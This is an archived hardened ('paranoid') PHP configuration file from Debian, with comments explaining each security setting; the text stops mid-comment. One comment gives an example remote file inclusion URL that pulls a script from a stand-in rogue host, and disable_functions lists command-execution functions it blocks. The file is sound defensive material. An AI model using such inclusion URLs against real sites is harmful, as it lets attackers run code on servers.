home *** CD-ROM | disk | FTP | other *** search
/ linuxmafia.com 2016 / linuxmafia.com.tar / linuxmafia.com / kb / Security / php.ini-paranoid-2008-01-08 < prev    next >
INI File  |  2008-01-06  |  59KB  |  1,505 lines
  1. [PHP]
  2.  
  3. ;;;;;;;;;;;
  4. ; WARNING ;
  5. ;;;;;;;;;;;
  6. ; This file enables many features in the PHP configuration that will
  7. ; break applications that rely on this. Make sure you test applications
  8. ; with this configuration file before enabling it on production.
  9.  
  10. ;;;;;;;;;;;;;;;;;;;
  11. ; About php.ini   ;
  12. ;;;;;;;;;;;;;;;;;;;
  13. ; This file controls many aspects of PHP's behavior.  In order for PHP to
  14. ; read it, it must be named 'php.ini'.  PHP looks for it in the current
  15. ; working directory, in the path designated by the environment variable
  16. ; PHPRC, and in the path that was defined in compile time (in that order).
  17. ; Under Windows, the compile-time path is the Windows directory.  The
  18. ; path in which the php.ini file is looked for can be overridden using
  19. ; the -c argument in command line mode.
  20. ;
  21. ; The syntax of the file is extremely simple.  Whitespace and Lines
  22. ; beginning with a semicolon are silently ignored (as you probably guessed).
  23. ; Section headers (e.g. [Foo]) are also silently ignored, even though
  24. ; they might mean something in the future.
  25. ;
  26. ; Directives are specified using the following syntax:
  27. ; directive = value
  28. ; Directive names are *case sensitive* - foo=bar is different from FOO=bar.
  29. ;
  30. ; The value can be a string, a number, a PHP constant (e.g. E_ALL or M_PI), one
  31. ; of the INI constants (On, Off, True, False, Yes, No and None) or an expression
  32. ; (e.g. E_ALL & ~E_NOTICE), or a quoted string ("foo").
  33. ;
  34. ; Expressions in the INI file are limited to bitwise operators and parentheses:
  35. ; |        bitwise OR
  36. ; &        bitwise AND
  37. ; ~        bitwise NOT
  38. ; !        boolean NOT
  39. ;
  40. ; Boolean flags can be turned on using the values 1, On, True or Yes.
  41. ; They can be turned off using the values 0, Off, False or No.
  42. ;
  43. ; An empty string can be denoted by simply not writing anything after the equal
  44. ; sign, or by using the None keyword:
  45. ;
  46. ;  foo =         ; sets foo to an empty string
  47. ;  foo = none    ; sets foo to an empty string
  48. ;  foo = "none"  ; sets foo to the string 'none'
  49. ;
  50. ; If you use constants in your value, and these constants belong to a
  51. ; dynamically loaded extension (either a PHP extension or a Zend extension),
  52. ; you may only use these constants *after* the line that loads the extension.
  53. ;
  54. ;
  55. ;;;;;;;;;;;;;;;;;;;
  56. ; About this file ;
  57. ;;;;;;;;;;;;;;;;;;;
  58. ;
  59. ; This is the paranoid, PHP version of the php.ini-dist file.  It
  60. ; sets some non standard settings, that make PHP more efficient, more secure
  61. ; in a very paranoid way. Note that these security settings will make some
  62. ; applications not work properly.
  63. ;
  64. ; The price is that with these settings, PHP may be incompatible with some
  65. ; applications, and sometimes, more difficult to develop with.  Using this
  66. ; file is recommended for production sites which want a high degree of
  67. ; security.  As all of the changes from the standard settings are thoroughly
  68. ; documented, you can go over each one,
  69. ; and decide whether you want to use it or not.
  70. ;
  71. ; For general information about the php.ini file, please consult the 
  72. ; php.ini-dist file, included in your PHP distribution.
  73. ; 
  74. ; For further information see
  75. ; http://www.php.net/features.safe-mode
  76. ; http://www.phpsecure.info/
  77. ;
  78. ; This file is different from the php.ini-dist file in the fact that it features
  79. ; different values for several directives, in order to improve performance, while
  80. ; possibly breaking compatibility with the standard out-of-the-box behavior of
  81. ; PHP 3. Please make sure you read what's different, and modify your scripts
  82. ; accordingly, if you decide to use this file instead.
  83. ;
  84. ; Notice that the paranoid configuration file might not be fully up-to-date
  85. ; with the latest variables available so the diff will catch both the changes
  86. ; to the default variable values as well as the variables that are missing in
  87. ; the paranoid configuration file)
  88. ;
  89. ; This version was generated using the version 5.2.4-2 as a basis.
  90. ;
  91. ; Debian users can find the differences between both configurations might
  92. ; be found by running:
  93. ;
  94. ; $  diff -u /usr/share/doc/php5-common/examples/php.ini-dist \
  95.      /usr/share/doc/php5-common/examples/php.ini-paranoid  |less
  96. ;
  97. ;
  98. ; This is a (not complete) list of some of the changes introduced in this file:
  99. ;
  100. ; - safe_mode = On                 [Security, Performance loss]
  101. ;     Do UID checks when opening files. Enabling safe_mode also enables
  102. ;     other functions related to this mode. For more information read:
  103. ;     http://www.php.net/features.safe-mode
  104. ;
  105. ;     However, this feature by itself cannot be relied on to protect all applications.
  106. ;     It  is worthwhile reading also:
  107. ;     http://ilia.ws/archives/18_PHPs_safe_mode_or_how_not_to_implement_security.html 
  108. ;     Bottomline: Do not trust that safe_mode will drive all your security vulnerabilities
  109. ;     away.
  110. ;
  111. ; - safe_mode_protected_env_vars = LD_LIBRARY_PATH, PATH [Security]
  112. ;     Environment variables that users will not be able to modify through
  113. ;     putenv(). PATH is added so that scripts cannot overwrite it
  114. ;
  115. ; - open_basedir = /var/www/:/usr/lib/php4/ [Security, Performance loss]
  116. ;     Limits the files that PHP can access to the directories specified.
  117. ;     This includes the webroot and the usual location of PHP libraries
  118. ;     (e.g. PEAR). Since all file locations are checked against this list
  119. ;     before any access is allowed, this impacts in the performance of all
  120. ;     file operations.
  121. ;
  122. ; - disable_functions = dl, phpinfo, system, .... [Security]
  123. ;     Some functions can be used by attackers and can be malversed by 
  124. ;     applications, the list (not complete) of functions disabled includes
  125. ;     functions which might have a severe impact to the system if wrongly used
  126. ;     in scripts or subverted remotely by attackers.
  127. ;
  128. ; - expose_php = Off               [?Security?]
  129. ;      Not exposing that PHP is used in the site (nor its version) can affect
  130. ;      how some dumb worms attempt to attack the site. Many might
  131. ;      not check this and attempt to compromise the server nevertheless, 
  132. ;      however. This setting is just 'security by obscurity' so no real
  133. ;      security at all (save vs. the dumbest attackers)
  134. ;      
  135. ; - error_log = syslog              [Security, Performance log]
  136. ;      All errors are reported to syslog so that the errors can be easily
  137. ;      sent outsite the site to a syslog server. This prevents an intruder
  138. ;      from tampering with them in an attempt to hide his tracks since the
  139. ;      logs are stored in a different location. It also helps in forensic
  140. ;      investigation or when using automatic tools to produce reports or 
  141. ;      generate alarms based on the syslog information.
  142. ;
  143. ; - error_reporting = E_ALL         [Code Cleanliness, Security(?)]
  144. ;     By default, PHP surpresses errors of type E_NOTICE.  These error messages
  145. ;     are emitted for non-critical errors, but that could be a symptom of a bigger
  146. ;     problem.  Most notably, this will cause error messages about the use
  147. ;     of uninitialized variables to be displayed.
  148. ;
  149. ; - display_errors = Off           [Security]
  150. ;     With this directive set to off, errors that occur during the execution of
  151. ;     scripts will no longer be displayed as a part of the script output, and thus,
  152. ;     will no longer be exposed to remote users.  With some errors, the error message
  153. ;     content may expose information about your script, web server, or database
  154. ;     server that may be exploitable for hacking.  Production sites should have this
  155. ;     directive set to off.
  156. ; - log_errors = On                [Security]
  157. ;     This directive complements the above one.  Any errors that occur during the
  158. ;     execution of your script will be logged (typically, to your server's error log,
  159. ;     but can be configured in several ways).  Along with setting display_errors to off,
  160. ;     this setup gives you the ability to fully understand what may have gone wrong,
  161. ;     without exposing any sensitive information to remote users.
  162. ; - output_buffering = 4096        [Performance]
  163. ;     Set a 4KB output buffer.  Enabling output buffering typically results in less
  164. ;     writes, and sometimes less packets sent on the wire, which can often lead to
  165. ;     better performance.  The gain this directive actually yields greatly depends
  166. ;     on which Web server you're working with, and what kind of scripts you're using.
  167. ; - register_globals = Off         [Security, Performance]
  168. ;     Global variables are no longer registered for input data (POST, GET, cookies,
  169. ;     environment and other server variables).  Instead of using $foo, you must use
  170. ;     you can use $_REQUEST["foo"] (includes any variable that arrives through the
  171. ;     request, namely, POST, GET and cookie variables), or use one of the specific
  172. ;     $_GET["foo"], $_POST["foo"], $_COOKIE["foo"] or $_FILES["foo"], depending
  173. ;     on where the input originates.  Also, you can look at the
  174. ;     import_request_variables() function.
  175. ;     Note that register_globals is deprecated in PHP 6.0, because it often
  176. ;     leads to security bugs.
  177. ;     Read http://php.net/manual/en/security.registerglobals.php for further
  178. ;     information.
  179. ;     Also notice that applications should not rely on this feature being turned Off
  180. ;     to remain secure.
  181. ; - register_long_arrays = Off     [Performance]
  182. ;     Disables registration of HTTP_GET_VARS
  183. ; - register_argc_argv = Off       [Performance]
  184. ;     Disables registration of the somewhat redundant $argv and $argc global
  185. ;     variables.
  186. ; - include_path = "/usr/share/php" [Security]
  187. ;     Only files under /usr can be included, this prevents applications from
  188. ;     including files from the same directory they are running in.
  189. ; - magic_quotes_gpc = On           [Security]
  190. ;     Input data is escaped with slashes so that applications that do
  191. ;     not use addslashes() are not so easily subjected to SQL injection
  192. ;     when talking to SQL databases.
  193. ;     This features is deprecated in PHP 6.0, applications should be fixed to
  194. ;     prevent SQL injection attacks through input data and not rely on this feature.
  195. ; - magic_quotes_runtime = On       [Security]
  196. ;     Quotes in data returned from functions that access external data sources (such as 
  197. ;     databases) are escapted with a backslash.
  198. ;     This features is deprecated in PHP 6.0, applications should be fixed to
  199. ;     prevent SQL injection attacks through input data and not rely on this feature.
  200. ;
  201. ; - variables_order = "GPCS"        [Performance]
  202. ;     The environment variables are not hashed into the $HTTP_ENV_VARS[].  To access
  203. ;     environment variables, you can use getenv() instead.
  204. ; - allow_call_time_pass_reference = Off     [Code cleanliness]
  205. ;     It's not possible to decide to force a variable to be passed by reference
  206. ;     when calling a function.  The PHP 4 style to do this is by making the
  207. ;     function require the relevant argument by reference.
  208. ;
  209. ; - enable_dl = Off                  [Security]
  210. ;     The dl() function is not needed in most environments and does introduce
  211. ;     a number of security issues.
  212. ; - file_uploads = Off               [Security]
  213. ;     File uploads should not be allowed to the server.
  214. ; - allow_url_fopen = Off            [Security]
  215. ;     File calls should not transparently retrieve files from the network
  216. ;     since this could be subverted by attackers in poorly coded scripts
  217. ;     by forcing them to download (and execute) malicious remote content
  218. ;     from compromised hosts. This behaviour has been observed in automatic
  219. ;     worms/tools that use it to scan and propagate through badly written
  220. ;     applications (in conjuntion with other unsafe features)
  221. ;     http://myhost/myapplication.php?include=http://roguesever/rogueapp.php
  222. ;
  223. ; - session.save_path = /var/lib/php5 [Security]
  224. ;     This is defined to a non-world readable directory so users cannot 
  225. ;     hihack sessions of other users by getting a list of the files.
  226. ;
  227. ;     Notice that on on shared servers on a per application basis, otherwise
  228. ;     other users would be able to get access to other applications' data by
  229. ;     setting a proper session id in a different application. If session paths
  230. ;     are not shared sessions of one application will be invalid on another.
  231. ;     For more information see:
  232. ;     http://php.net/manual/en/ref.session.php#ini.session.save-path
  233. ;     and
  234. ;     http://php.net/manual/en/function.session-save-path.php
  235. ; - session.cookie_secure = 1        [Security]
  236. ;     Cookies will only be sent through secure (SSL) connections.
  237. ; - session.use_only_cookies = 1     [Security]
  238. ;     Session ids are not allowed in URLs which make it more difficult for
  239. ;     cross site scripting (XSS) attacks to be succesfull and also has the
  240. ;     advantaged that session ids will not be stored in the server's logs making
  241. ;     them vulnerable to reuse by people with access to the server logs.
  242. ; - session.cookie_httponly = 1      [Security]
  243. ;     Cookies can only be set through the HTTP protocol, JavaScript can not
  244. ;     modify them, making applications less vulnerable to XSS attacks. This is
  245. ;     not supported, however, by all browsers.
  246. ; - session.hash_function = 1        [Security, Performance loss]
  247. ;     Use SHA-1 instead of MD5 which is not (yet) broken but there are some known
  248. ;     attacks. Slight performance loss as it takes more time to compute.
  249. ;
  250. ;
  251. ; This file is maintained by Javier Fernandez-Sanguino <jfs@debian.org>
  252. ; please forward him any suggestions or changes you believe might be appropiate
  253.  
  254.  
  255. ;;;;;;;;;;;;;;;;;;;;
  256. ; Language Options ;
  257. ;;;;;;;;;;;;;;;;;;;;
  258.  
  259. ; Enable the PHP scripting language engine under Apache.
  260. engine = On
  261.  
  262. ; Enable compatibility mode with Zend Engine 1 (PHP 4.x)
  263. zend.ze1_compatibility_mode = Off
  264.  
  265. ; Allow the <? tag.  Otherwise, only <?php and <script> tags are recognized. 
  266. ; NOTE: Using short tags should be avoided when developing applications or
  267. ; libraries that are meant for redistribution, or deployment on PHP
  268. ; servers which are not under your control, because short tags may not
  269. ; be supported on the target server. For portable, redistributable code,
  270. ; be sure not to use short tags.
  271. short_open_tag = On
  272.  
  273. ; Allow ASP-style <% %> tags.
  274. asp_tags = Off
  275.  
  276. ; The number of significant digits displayed in floating point numbers.
  277. precision    =  12
  278.  
  279. ; Enforce year 2000 compliance (will cause problems with non-compliant browsers)
  280. y2k_compliance = On
  281.  
  282. ; Output buffering allows you to send header lines (including cookies) even
  283. ; after you send body content, at the price of slowing PHP's output layer a
  284. ; bit.  You can enable output buffering during runtime by calling the output
  285. ; buffering functions.  You can also enable output buffering for all files by
  286. ; setting this directive to On.  If you wish to limit the size of the buffer
  287. ; to a certain size - you can use a maximum number of bytes instead of 'On', as
  288. ; a value for this directive (e.g., output_buffering=4096).
  289. output_buffering = 4096
  290.  
  291. ; You can redirect all of the output of your scripts to a function.  For
  292. ; example, if you set output_handler to "mb_output_handler", character
  293. ; encoding will be transparently converted to the specified encoding.
  294. ; Setting any output handler automatically turns on output buffering.
  295. ; Note: People who wrote portable scripts should not depend on this ini
  296. ;       directive. Instead, explicitly set the output handler using ob_start().
  297. ;       Using this ini directive may cause problems unless you know what script 
  298. ;       is doing.
  299. ; Note: You cannot use both "mb_output_handler" with "ob_iconv_handler"
  300. ;       and you cannot use both "ob_gzhandler" and "zlib.output_compression". 
  301. ; Note: output_handler must be empty if this is set 'On' !!!!
  302. ;       Instead you must use zlib.output_handler.
  303. ;output_handler =
  304.  
  305. ; Transparent output compression using the zlib library
  306. ; Valid values for this option are 'off', 'on', or a specific buffer size
  307. ; to be used for compression (default is 4KB)
  308. ; Note: Resulting chunk size may vary due to nature of compression. PHP 
  309. ;       outputs chunks that are few hundreds bytes each as a result of 
  310. ;       compression. If you prefer a larger chunk size for better 
  311. ;       performance, enable output_buffering in addition.
  312. ; Note: You need to use zlib.output_handler instead of the standard
  313. ;       output_handler, or otherwise the output will be corrupted.
  314. zlib.output_compression = Off
  315.  
  316. ; You cannot specify additional output handlers if zlib.output_compression
  317. ; is activated here. This setting does the same as output_handler but in
  318. ; a different order.
  319. ;zlib.output_handler =
  320.  
  321. ; Implicit flush tells PHP to tell the output layer to flush itself
  322. ; automatically after every output block.  This is equivalent to calling the
  323. ; PHP function flush() after each and every call to print() or echo() and each
  324. ; and every HTML block.  Turning this option on has serious performance
  325. ; implications and is generally recommended for debugging purposes only.
  326. implicit_flush = Off
  327.  
  328. ; The unserialize callback function will be called (with the undefined class'
  329. ; name as parameter), if the unserializer finds an undefined class
  330. ; which should be instantiated.
  331. ; A warning appears if the specified function is not defined, or if the
  332. ; function doesn't include/implement the missing class.
  333. ; So only set this entry, if you really want to implement such a
  334. ; callback-function.
  335. unserialize_callback_func=
  336.  
  337. ; When floats & doubles are serialized store serialize_precision significant
  338. ; digits after the floating point. The default value ensures that when floats
  339. ; are decoded with unserialize, the data will remain the same.
  340. serialize_precision = 100
  341.  
  342. ; Whether to enable the ability to force arguments to be passed by reference
  343. ; at function call time.  This method is deprecated and is likely to be
  344. ; unsupported in future versions of PHP/Zend.  The encouraged method of
  345. ; specifying which arguments should be passed by reference is in the function
  346. ; declaration.  You're encouraged to try and turn this option Off and make
  347. ; sure your scripts work properly with it in order to ensure they will work
  348. ; with future versions of the language (you will receive a warning each time
  349. ; you use this feature, and the argument will be passed by value instead of by
  350. ; reference).
  351. allow_call_time_pass_reference = Off
  352.  
  353. ;
  354. ; Safe Mode
  355. ;
  356. ;     Notice that with this mode on PHP will not create new files in
  357. ;     directories which have different owner than the owner of the script. This
  358. ;     typically applies to /tmp, so contrary to Unix intuition, you will not be able
  359. ;     to create new files there (even if the /tmp rights are set correctly). 
  360. ; 
  361. ; NOTE: this is considered a "broken" security measure.
  362. ;       Applications relying on this feature will not recieve full
  363. ;       support by the security team.  For more information please
  364. ;       see /usr/share/doc/php5-common/README.Debian.security
  365. ;
  366. safe_mode = On
  367.  
  368. ; By default, Safe Mode does a UID compare check when
  369. ; opening files. If you want to relax this to a GID compare,
  370. ; then turn on safe_mode_gid.
  371. safe_mode_gid = Off
  372.  
  373. ; When safe_mode is on, UID/GID checks are bypassed when
  374. ; including files from this directory and its subdirectories.
  375. ; (directory must also be in include_path or full path must
  376. ; be used when including)
  377. safe_mode_include_dir =        
  378.  
  379. ; When safe_mode is on, only executables located in the safe_mode_exec_dir
  380. ; will be allowed to be executed via the exec family of functions.
  381. ; 
  382. ; Note: This should be customised per site (if exec is permitted)
  383. safe_mode_exec_dir =
  384.  
  385. ; Setting certain environment variables may be a potential security breach.
  386. ; This directive contains a comma-delimited list of prefixes.  In Safe Mode,
  387. ; the user may only alter environment variables whose names begin with the
  388. ; prefixes supplied here.  By default, users will only be able to set
  389. ; environment variables that begin with PHP_ (e.g. PHP_FOO=BAR).
  390. ;
  391. ; Note:  If this directive is empty, PHP will let the user modify ANY
  392. ; environment variable!
  393. safe_mode_allowed_env_vars = PHP_
  394.  
  395. ; This directive contains a comma-delimited list of environment variables that
  396. ; the end user won't be able to change using putenv().  These variables will be
  397. ; protected even if safe_mode_allowed_env_vars is set to allow to change them.
  398. safe_mode_protected_env_vars = LD_LIBRARY_PATH,PATH
  399.  
  400. ; open_basedir, if set, limits all file operations to the defined directory
  401. ; and below.  This directive makes most sense if used in a per-directory
  402. ; or per-virtualhost web server configuration file. This directive is
  403. ; *NOT* affected by whether Safe Mode is turned On or Off.
  404. ; 
  405. ; In Debian, the WebRoot is /var/www/ so we limit file operations to it.
  406. ;
  407. ; NOTE: this is considered a "broken" security measure.
  408. ;       Applications relying on this feature will not recieve full
  409. ;       support by the security team.  For more information please
  410. ;       see /usr/share/doc/php5-common/README.Debian.security
  411. open_basedir = /var/www/:/usr/lib/php4/
  412.  
  413. ; This directive allows you to disable certain functions for security reasons.
  414. ; It receives a comma-delimited list of function names. This directive is
  415. ; *NOT* affected by whether Safe Mode is turned On or Off.
  416. ; 
  417. ; Notes: 
  418. ;  - The list of functions disabled here might break some applications
  419. ;    however, they are considered dangerous and often subverted by attackers
  420. ;    remotely.
  421. ;  - 'include' is not in the list, if your applications do not depend on it
  422. ;    make sure you add it here too.
  423. disable_functions = dl, phpinfo, system, mail, shell_exec, exec, escapeshellarg, escapeshellcmd, passthru, proc_close, proc_open, proc_get_status, proc_nice, proc_open, proc_terminate, popen, pclose, chown, disk_free_space, disk_total_space, diskfreespace, fileinode, max_execution_time, set_time_limit, highlight_file, show_source 
  424.  
  425. ; This directive allows you to disable certain classes for security reasons.
  426. ; It receives a comma-delimited list of class names. This directive is
  427. ; *NOT* affected by whether Safe Mode is turned On or Off.
  428. disable_classes =
  429.  
  430. ; Colors for Syntax Highlighting mode.  Anything that's acceptable in
  431. ; <span style="color: ???????"> would work.
  432. ;highlight.string  = #DD0000
  433. ;highlight.comment = #FF9900
  434. ;highlight.keyword = #007700
  435. ;highlight.bg      = #FFFFFF
  436. ;highlight.default = #0000BB
  437. ;highlight.html    = #000000
  438.  
  439. ; If enabled, the request will be allowed to complete even if the user aborts
  440. ; the request. Consider enabling it if executing long request, which may end up
  441. ; being interrupted by the user or a browser timing out.
  442. ; ignore_user_abort = On
  443.  
  444. ; Determines the size of the realpath cache to be used by PHP. This value should
  445. ; be increased on systems where PHP opens many files to reflect the quantity of
  446. ; the file operations performed.
  447. ; realpath_cache_size=16k
  448.  
  449. ; Duration of time, in seconds for which to cache realpath information for a given
  450. ; file or directory. For systems with rarely changing files, consider increasing this
  451. ; value.
  452. ; realpath_cache_ttl=120
  453.  
  454. ;
  455. ; Misc
  456. ;
  457. ; Decides whether PHP may expose the fact that it is installed on the server
  458. ; (e.g. by adding its signature to the Web server header).  It is no security
  459. ; threat in any way, but it makes it possible to determine whether you use PHP
  460. ; on your server or not.
  461. expose_php = Off
  462.  
  463.  
  464. ;;;;;;;;;;;;;;;;;;;
  465. ; Resource Limits ;
  466. ;;;;;;;;;;;;;;;;;;;
  467.  
  468. max_execution_time = 30     ; Maximum execution time of each script, in seconds
  469. max_input_time = 60 ; Maximum amount of time each script may spend parsing request data
  470. max_input_nesting_level = 64 ; Maximum input variable nesting level
  471. memory_limit = 8M      ; Maximum amount of memory a script may consume (8MB)
  472.  
  473.  
  474. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  475. ; Error handling and logging ;
  476. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  477.  
  478. ; error_reporting is a bit-field.  Or each number up to get desired error
  479. ; reporting level
  480. ; E_ALL             - All errors and warnings (doesn't include E_STRICT)
  481. ; E_ERROR           - fatal run-time errors
  482. ; E_RECOVERABLE_ERROR  - almost fatal run-time errors
  483. ; E_WARNING         - run-time warnings (non-fatal errors)
  484. ; E_PARSE           - compile-time parse errors
  485. ; E_NOTICE          - run-time notices (these are warnings which often result
  486. ;                     from a bug in your code, but it's possible that it was
  487. ;                     intentional (e.g., using an uninitialized variable and
  488. ;                     relying on the fact it's automatically initialized to an
  489. ;                     empty string)
  490. ; E_STRICT          - run-time notices, enable to have PHP suggest changes
  491. ;                     to your code which will ensure the best interoperability
  492. ;                     and forward compatibility of your code
  493. ; E_CORE_ERROR      - fatal errors that occur during PHP's initial startup
  494. ; E_CORE_WARNING    - warnings (non-fatal errors) that occur during PHP's
  495. ;                     initial startup
  496. ; E_COMPILE_ERROR   - fatal compile-time errors
  497. ; E_COMPILE_WARNING - compile-time warnings (non-fatal errors)
  498. ; E_USER_ERROR      - user-generated error message
  499. ; E_USER_WARNING    - user-generated warning message
  500. ; E_USER_NOTICE     - user-generated notice message
  501. ;
  502. ; Examples:
  503. ;
  504. ;   - Show all errors, except for notices and coding standards warnings
  505. ;
  506. ;error_reporting = E_ALL & ~E_NOTICE
  507. ;
  508. ;   - Show all errors, except for notices
  509. ;
  510. ;error_reporting = E_ALL & ~E_NOTICE | E_STRICT
  511. ;
  512. ;   - Show only errors
  513. ;
  514. ;error_reporting = E_COMPILE_ERROR|E_RECOVERABLE_ERROR|E_ERROR|E_CORE_ERROR
  515. ;
  516. ;   - Show all errors
  517. ;
  518. error_reporting  =  E_ALL
  519.  
  520. ; Print out errors (as a part of the output).  For production web sites,
  521. ; you're strongly encouraged to turn this feature off, and use error logging
  522. ; instead (see below).  Keeping display_errors enabled on a production web site
  523. ; may reveal security information to end users, such as file paths on your Web
  524. ; server, your database schema or other information.
  525. ;
  526. ; possible values for display_errors:
  527. ;
  528. ; Off        - Do not display any errors
  529. ; stderr     - Display errors to STDERR (affects only CGI/CLI binaries!)
  530. ; stdout (On) - Display errors to STDOUT
  531. ;
  532. display_errors = Off
  533.  
  534. ; Even when display_errors is on, errors that occur during PHP's startup
  535. ; sequence are not displayed.  It's strongly recommended to keep
  536. ; display_startup_errors off, except for when debugging.
  537. display_startup_errors = Off
  538.  
  539. ; Log errors into a log file (server-specific log, stderr, or error_log (below))
  540. ; As stated above, you're strongly advised to use error logging in place of
  541. ; error displaying on production web sites.
  542. log_errors = On
  543.  
  544. ; Set maximum length of log_errors. In error_log information about the source is
  545. ; added. The default is 1024 and 0 allows to not apply any maximum length at all.
  546. log_errors_max_len = 1024
  547.  
  548. ; Do not log repeated messages. Repeated errors must occur in same file on same
  549. ; line until ignore_repeated_source is set true.
  550. ignore_repeated_errors = Off
  551.  
  552. ; Ignore source of message when ignoring repeated messages. When this setting 
  553. ; is On you will not log errors with repeated messages from different files or
  554. ; source lines.
  555. ignore_repeated_source = Off
  556.  
  557. ; If this parameter is set to Off, then memory leaks will not be shown (on
  558. ; stdout or in the log). This has only effect in a debug compile, and if 
  559. ; error reporting includes E_WARNING in the allowed list
  560. report_memleaks = On
  561.  
  562. ;report_zend_debug = 0
  563.  
  564. ; Store the last error/warning message in $php_errormsg (boolean).
  565. track_errors = Off
  566.  
  567. ; Disable the inclusion of HTML tags in error messages.
  568. ; Note: Never use this feature for production boxes.
  569. html_errors = Off
  570.  
  571. ; If html_errors is set On PHP produces clickable error messages that direct 
  572. ; to a page describing the error or function causing the error in detail.
  573. ; You can download a copy of the PHP manual from http://www.php.net/docs.php 
  574. ; and change docref_root to the base URL of your local copy including the
  575. ; leading '/'. You must also specify the file extension being used including 
  576. ; the dot.
  577. ; Note: Never use this feature for production boxes.
  578. ;docref_root = "/phpmanual/"
  579. ;docref_ext = .html
  580.   
  581. ; String to output before an error message.
  582. ;error_prepend_string = "<font color=ff0000>"
  583.  
  584. ; String to output after an error message.
  585. ;error_append_string = "</font>"
  586.  
  587. ; Log errors to specified file.
  588. ;error_log = filename
  589.  
  590. ; Log errors to syslog (Event Log on NT, not valid in Windows 95).
  591. error_log = syslog
  592.  
  593.  
  594. ;;;;;;;;;;;;;;;;;
  595. ; Data Handling ;
  596. ;;;;;;;;;;;;;;;;;
  597. ;
  598. ; Note - track_vars is ALWAYS enabled as of PHP 4.0.3
  599.  
  600. ; The separator used in PHP generated URLs to separate arguments.
  601. ; Default is "&". 
  602. ;arg_separator.output = "&"
  603.  
  604. ; List of separator(s) used by PHP to parse input URLs into variables.
  605. ; Default is "&". 
  606. ; NOTE: Every character in this directive is considered as separator!
  607. ;arg_separator.input = ";&"
  608.  
  609. ; This directive describes the order in which PHP registers GET, POST, Cookie,
  610. ; Environment and Built-in variables (G, P, C, E & S respectively, often
  611. ; referred to as EGPCS or GPC).  Registration is done from left to right, newer
  612. ; values override older values.
  613. variables_order = "GPCS"
  614.  
  615. ; Whether or not to register the EGPCS variables as global variables.  You may
  616. ; want to turn this off if you don't want to clutter your scripts' global scope
  617. ; with user data.  This makes most sense when coupled with track_vars - in which
  618. ; case you can access all of the GPC variables through the $HTTP_*_VARS[],
  619. ; variables.
  620. ;
  621. ; You should do your best to write your scripts so that they do not require
  622. ; register_globals to be on;  Using form variables as globals can easily lead
  623. ; to possible security problems, if the code is not very well thought of.
  624.  
  625. ; NOTE: applications relying on this feature will not recieve full
  626. ;       support by the security team.  For more information please
  627. ;       see /usr/share/doc/php5-common/README.Debian.security
  628. ;
  629. register_globals = Off
  630.  
  631. ; Whether or not to register the old-style input arrays, HTTP_GET_VARS
  632. ; and friends.  If you're not using them, it's recommended to turn them off,
  633. ; for performance reasons.
  634. register_long_arrays = Off
  635.  
  636. ; This directive tells PHP whether to declare the argv&argc variables (that
  637. ; would contain the GET information).  If you don't use these variables, you
  638. ; should turn it off for increased performance.
  639. register_argc_argv = Off
  640.  
  641. ; When enabled, the SERVER and ENV variables are created when they're first
  642. ; used (Just In Time) instead of when the script starts. If these variables
  643. ; are not used within a script, having this directive on will result in a
  644. ; performance gain. The PHP directives register_globals, register_long_arrays,
  645. ; and register_argc_argv must be disabled for this directive to have any affect.
  646. auto_globals_jit = On
  647.  
  648. ; Maximum size of POST data that PHP will accept.
  649. post_max_size = 8M
  650.  
  651. ; Magic quotes
  652. ;
  653.  
  654. ; Magic quotes for incoming GET/POST/Cookie data.
  655. ; Note: This feature is deprecated in PHP 6.0. Applications should not rely
  656. ; on this feature to prevent security attacks.
  657. magic_quotes_gpc = On
  658.  
  659. ; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
  660. ; Note: This feature is deprecated in PHP 6.0. Applications should not rely
  661. ; on this feature to prevent security attacks.
  662. magic_quotes_runtime = On
  663.  
  664. ; Use Sybase-style magic quotes (escape ' with '' instead of \').
  665. magic_quotes_sybase = Off
  666.  
  667. ; Automatically add files before or after any PHP document.
  668. auto_prepend_file =
  669. auto_append_file =
  670.  
  671. ; As of 4.0b4, PHP always outputs a character encoding by default in
  672. ; the Content-type: header.  To disable sending of the charset, simply
  673. ; set it to be empty.
  674. ;
  675. ; PHP's built-in default is text/html
  676. default_mimetype = "text/html"
  677. ;default_charset = "iso-8859-1"
  678.  
  679. ; Always populate the $HTTP_RAW_POST_DATA variable.
  680. ;always_populate_raw_post_data = On
  681.  
  682.  
  683. ;;;;;;;;;;;;;;;;;;;;;;;;;
  684. ; Paths and Directories ;
  685. ;;;;;;;;;;;;;;;;;;;;;;;;;
  686.  
  687. ; UNIX: "/path1:/path2"  
  688. ; Note (paranoid): 
  689. ;      - '.' (the default) is not allowed here, applications that rely on it
  690. ;        need to be modified
  691. ;      - /usr is allowed, but files there should be protected against being
  692. ;        overwritten by mounting the filesystem read-only and should be
  693. ;        monitored with a system integrity check tool.
  694. include_path = "/usr/share/php"
  695.  
  696. ; Windows: "\path1;\path2"
  697. ;include_path = ".;c:\php\includes"
  698.  
  699. ; The root of the PHP pages, used only if nonempty.
  700. ; if PHP was not compiled with FORCE_REDIRECT, you SHOULD set doc_root
  701. ; if you are running php as a CGI under any web server (other than IIS)
  702. ; see documentation for security issues.  The alternate is to use the
  703. ; cgi.force_redirect configuration below
  704. doc_root =
  705.  
  706. ; The directory under which PHP opens the script using /~username used only
  707. ; if nonempty.
  708. user_dir =
  709.  
  710. ; Directory in which the loadable extensions (modules) reside.
  711. ; extension_dir = "./"
  712.  
  713. ; Whether or not to enable the dl() function.  The dl() function does NOT work
  714. ; properly in multithreaded servers, such as IIS or Zeus, and is automatically
  715. ; disabled on them.
  716. ;
  717. ; NOTE: this is a potential security hole and is disabled by default in debian
  718. enable_dl = Off
  719.  
  720. ; cgi.force_redirect is necessary to provide security running PHP as a CGI under
  721. ; most web servers.  Left undefined, PHP turns this on by default.  You can
  722. ; turn it off here AT YOUR OWN RISK
  723. ; **You CAN safely turn this off for IIS, in fact, you MUST.**
  724. ; cgi.force_redirect = 1
  725.  
  726. ; if cgi.nph is enabled it will force cgi to always sent Status: 200 with
  727. ; every request.
  728. ; cgi.nph = 1
  729.  
  730. ; if cgi.force_redirect is turned on, and you are not running under Apache or Netscape
  731. ; (iPlanet) web servers, you MAY need to set an environment variable name that PHP
  732. ; will look for to know it is OK to continue execution.  Setting this variable MAY
  733. ; cause security issues, KNOW WHAT YOU ARE DOING FIRST.
  734. ; cgi.redirect_status_env = ;
  735.  
  736. ; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI.  PHP's
